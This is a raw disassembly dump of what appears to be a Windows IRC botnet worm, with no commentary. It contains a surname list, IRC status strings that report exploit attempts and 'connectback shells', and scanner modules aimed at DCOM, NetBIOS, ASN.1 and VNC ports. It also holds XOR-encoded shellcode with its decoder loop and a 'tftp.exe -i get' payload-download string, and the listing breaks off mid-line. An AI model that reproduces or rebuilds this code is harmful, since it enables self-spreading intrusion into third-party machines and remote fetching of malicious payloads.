aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC80o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC7Co align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC78o align 10h aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC74o aCanley db 'Canley',0 ; DATA XREF: ___:0042DC70o align 10h aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC6Co align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC68o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC64o align 10h aCage db 'Cage',0 ; DATA XREF: ___:0042DC60o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC5Co align 10h aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC58o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC54o align 10h aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC50o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC4Co align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042DC48o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC44o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042DC40o align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC3Co align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC38o aBudding db 'Budding',0 ; DATA XREF: ___:0042DC34o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC30o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC2Co aBrook db 'Brook',0 ; DATA XREF: ___:0042DC28o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042DC24o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042DC20o align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC1Co aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC18o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC14o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DC0Co ; ___:0042DC10o align 10h aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DC08o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DC04o align 10h aBreed db 'Breed',0 ; DATA XREF: ___:0042DC00o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBFCo align 10h aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBF8o aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBF4o align 10h aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBF0o align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBECo align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042DBE8o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBE4o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBE0o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBDCo align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBD8o align 10h aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBD4o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBD0o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBCCo aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBC8o align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBC4o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBC0o aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBBCo align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042DBB8o align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042DBB4o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBB0o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042DBACo align 10h aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DBA8o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042DBA4o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DBA0o align 10h aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB9Co align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB98o align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042DB94o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB90o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB8Co align 10h aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB88o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB84o align 10h aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB80o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB7Co aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB78o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB74o aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB70o align 10h aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB6Co aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB68o align 10h aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB64o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB60o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB5Co align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB58o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB54o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB50o align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB4Co align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042DB48o aBinion db 'Binion',0 ; DATA XREF: ___:0042DB44o align 10h aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB40o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB3Co align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB38o aBetti db 'Betti',0 ; DATA XREF: ___:0042DB34o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB30o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB2Co align 10h aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB28o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB24o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB20o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB1Co aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB18o align 10h aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB14o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB10o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DB0Co align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DB08o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DB04o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DB00o align 10h aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAFCo align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAF8o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAF4o aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAF0o aBeder db 'Beder',0 ; DATA XREF: ___:0042DAECo align 10h aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAE8o aBean db 'Bean',0 ; DATA XREF: ___:0042DAE4o align 10h aBeal db 'Beal',0 ; DATA XREF: ___:0042DAE0o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DADCo align 10h aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAD8o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAD4o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAD0o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DACCo align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAC8o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAC4o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAC0o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DABCo align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAB8o aBarry db 'Barry',0 ; DATA XREF: ___:0042DAB4o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAB0o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DAACo aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DAA8o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DAA4o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DAA0o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA9Co align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA98o align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA94o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA90o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DA8Co align 10h aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA88o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA84o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA80o align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA7Co align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA78o align 10h aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA74o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA70o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA6Co aBady db 'Bady',0 ; DATA XREF: ___:0042DA68o align 10h aBackus db 'Backus',0 ; DATA XREF: ___:0042DA64o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA60o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042DA5Co align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA58o align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA54o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA50o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA4Co align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA48o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA44o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA40o align 10h aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA3Co align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DA38o align 10h aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA34o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA30o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA2Co align 10h aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA28o aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA24o align 10h aAntos db 'Antos',0 ; DATA XREF: ___:0042DA20o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA1Co aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA18o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA14o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042DA10o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042DA0Co align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042DA08o align 10h aAndel db 'Andel',0 ; DATA XREF: ___:0042DA04o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042DA00o align 10h aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9FCo align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9F8o align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9F4o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9F0o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9ECo align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9E8o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9E4o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9E0o align 10h aAllison db 'Allison',0 ; DATA XREF: ___:0042D9DCo aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9D8o align 10h aAlda db 'Alda',0 ; DATA XREF: ___:0042D9D4o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9D0o align 10h aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9CCo align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9C8o align 10h aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9C4o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9C0o align 10h aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9BCo align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9B8o aAdams db 'Adams',0 ; DATA XREF: ___:0042D9B4o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9B0o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D9ACo align 4 byte_431604 db 50h ; DATA XREF: ___:0040ABD9o ; ___:0040ABE6r db 43h, 2 dup(0) dword_431608 dd 7C7325h ; DATA XREF: ___:0040AC84o dword_43160C dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD8Eo dword_431614 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD85o ; sub_41AF2B:loc_41AFEEo dword_431618 dd 334B32h ; DATA XREF: ___:0040AD7Eo dword_43161C dd 5058h ; DATA XREF: ___:0040AD70o ; ___:0040AF7Co ... dword_431620 dd 4B32h ; DATA XREF: ___:0040AD60o ; ___:0040AF6Co ... dword_431624 dd 454Dh ; DATA XREF: ___:0040AD47o ; ___:0040AF53o ... dword_431628 dd 3839h ; DATA XREF: ___:0040AD37o ; ___:0040AF43o ... dword_43162C dd 544Eh ; DATA XREF: ___:0040AD27o ; ___:0040AF34o ... dword_431630 dd 3539h ; DATA XREF: ___:0040AD19o ; ___:0040AF26o ... dword_431634 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADD4+3Ao dword_43163C dd 5D4D5Bh ; DATA XREF: sub_40ADD4+2Co ; sub_40ADD4+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADD4+18o ; sub_41870F+5o align 4 aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0C9o align 4 a99 db '99',0 ; DATA XREF: ___:loc_40B08Bo align 4 a0D db '0%d',0 ; DATA XREF: ___:0040B065o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B047o ; sub_41AD74+52o off_43166C dd offset byte_4B4E55 ; DATA XREF: ___:0040B02Ao dword_431670 dd 345053h ; DATA XREF: ___:0040B020o dword_431674 dd 34h ; DATA XREF: ___:0040B014o dword_431678 dd 335053h ; DATA XREF: ___:0040B007o dword_43167C dd 33h ; DATA XREF: ___:0040AFF6o dword_431680 dd 325053h ; DATA XREF: ___:0040AFE9o dword_431684 dd 32h ; DATA XREF: ___:0040AFD8o ; =============== S U B R O U T I N E ======================================= sub_431688 proc near ; DATA XREF: ___:0040AFCBo push ebx push eax xor [eax], eax sub_431688 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_43168C dd 305053h ; DATA XREF: ___:0040AFADo dword_431690 dd 4E55h ; DATA XREF: ___:loc_40AF91o dword_431694 dd 3332h ; DATA XREF: ___:0040AF8Ao ; --------------------------------------------------------------------------- loc_431698: ; DATA XREF: sub_40B2A6+C4o jmp short loc_43169C ; --------------------------------------------------------------------------- loc_43169A: ; CODE XREF: ___:loc_43169Cp jmp short loc_4316A1 ; --------------------------------------------------------------------------- loc_43169C: ; CODE XREF: ___:loc_431698j call loc_43169A loc_4316A1: ; CODE XREF: ___:loc_43169Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_4316A6 dw 0FFFFh ; DATA XREF: sub_40B2A6+CCw db 80h, 73h, 0Eh byte_4316AB db 0FFh ; DATA XREF: sub_40B2A6+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_4316B0: ; DATA XREF: sub_40B2A6+A2o jmp short loc_4316B4 ; --------------------------------------------------------------------------- loc_4316B2: ; CODE XREF: ___:loc_4316B4p jmp short loc_4316B9 ; --------------------------------------------------------------------------- loc_4316B4: ; CODE XREF: ___:loc_4316B0j call loc_4316B2 loc_4316B9: ; CODE XREF: ___:loc_4316B2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_4316BD db 0FFh ; DATA XREF: sub_40B2A6+AAw dw 7380h db 0Ch byte_4316C1 db 0FFh ; DATA XREF: sub_40B2A6+B0w dw 0E243h dd 0F9h dword_4316C8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B12F+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43172C dd 12h ; DATA XREF: sub_40B12F+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B12F+79o aJ_0 db 'j',0 db 0E8h dword_431745 dd 17h ; DATA XREF: sub_40B12F+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_43174C retn ; --------------------------------------------------------------------------- byte_43174C db 0E8h ; CODE XREF: ___:00431749j dword_43174D dd 1 ; DATA XREF: sub_40B12F+45w byte_431751 db 0, 6Ah, 0 ; DATA XREF: sub_40B12F+C2o dd 7E8h db 0, 0Fh, 84h dword_43175B dd 0FFFFFFEDh ; DATA XREF: sub_40B12F+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B63B+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B63B+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C3D3+164o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA8E+30o ; ___:0040E21Ao ... align 4 dd 5 dup(0) dword_431808 dd 0B97h ; DATA XREF: sub_401AC7+1D32r ; sub_401AC7+1D5Ao ... off_43180C dd offset sub_40EAB9 ; DATA XREF: sub_40C3D3+1E6r dword_431810 dd 0 ; DATA XREF: sub_40B901+2Eo ; ___:0040D74Aw ... dword_431814 dd 1 ; DATA XREF: sub_40BD7C+1Fr dword_431818 dd 1 ; DATA XREF: sub_40BD7C+3B3r dword_43181C dd 0 ; DATA XREF: sub_40BD7C+292r aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DF3Dh, 0 dd 1, 2 dup(0) dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EBEFh, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40E977h, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) ; --------------------------------------------------------------------------- mov ebp, 77000001h jmp near ptr word_431952 ; --------------------------------------------------------------------------- align 4 dd 2 dup(1), 0 aAsn445_0 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D584h db 2 dup(0) word_431952 dw 0 ; CODE XREF: ___:0043190Dj dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D584h, 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch, 41B641h, 5 dup(0) dd 10100h, 0Eh dup(0) aAsn445_1 db 'asn445',0 align 4 db 2 dup(0) byte_431A2A db 1 ; DATA XREF: sub_401AC7:loc_403773r ; sub_401AC7+1CB6o aDcom135_0 db 'dcom135',0 align 4 dd 79730100h, 6Dh, 0 dd 1, 2 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431A5E ; =============== S U B R O U T I N E ======================================= sub_431A4E proc near ; CODE XREF: sub_431A4E:loc_431A5Ep pop edx dec edx xor ecx, ecx mov cx, 166h loc_431A56: ; CODE XREF: sub_431A4E+Cj xor byte ptr [edx+ecx], 99h loop loc_431A56 jmp short loc_431A63 ; --------------------------------------------------------------------------- loc_431A5E: ; CODE XREF: ___:00431A4Cj call sub_431A4E loc_431A63: ; CODE XREF: sub_431A4E+Ej jo short near ptr dword_4319E4+1Ah cwde cdq cdq retn sub_431A4E endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B901+85o align 10h dword_431BE0 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B901+46o unk_431BEC db 2Dh ; - ; DATA XREF: sub_40B901+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431C0C db 2Dh ; - ; DATA XREF: sub_40B9CF+37o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431C54 db 2Dh ; - ; DATA XREF: sub_40BA3A+21o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA8E+7Eo dword_431C90 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA8E+40o dword_431CA0 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40BA8E+14o dd 7473694Ch, 3Ah unk_431CBC db 2Dh ; - ; DATA XREF: ___:0040BCC2o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431CF0 db 2Dh ; - ; DATA XREF: ___:0040BBD4o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_431D20 db 2Dh ; - ; DATA XREF: sub_40BD05+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_431D40 db 2Dh ; - ; DATA XREF: sub_40BD05+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431D5C db 2Dh ; - ; DATA XREF: sub_40BD7C+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' Failed to start server, error: <%d>.',0 align 10h unk_431D90 db 2Dh ; - ; DATA XREF: sub_40BD7C+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_31 db '- Failed to start server, error: <%d>.',0 unk_431DC8 db 2Dh ; - ; DATA XREF: sub_40BD7C+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_431DF8 db 2Dh ; - ; DATA XREF: sub_40BD7C+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_32 db 'Failed to start server, error: <%d>.',0 align 4 unk_431E2C db 2Dh ; - ; DATA XREF: sub_40BD7C+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h unk_431E60 db 2Dh ; - ; DATA XREF: sub_40BD7C+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431E94 db 2Dh ; - ; DATA XREF: sub_40C3D3+EBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431EBC db 2Dh ; - ; DATA XREF: sub_40C3D3+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431EF4 db 2Dh ; - ; DATA XREF: sub_40C3D3+3E2o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431F34 db 2Dh ; - ; DATA XREF: sub_40C3D3+387o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431F6C db 2Dh ; - ; DATA XREF: sub_40C3D3+317o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431FA0 db 2Dh ; - ; DATA XREF: sub_40C3D3+29Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431FD4 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C846+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: 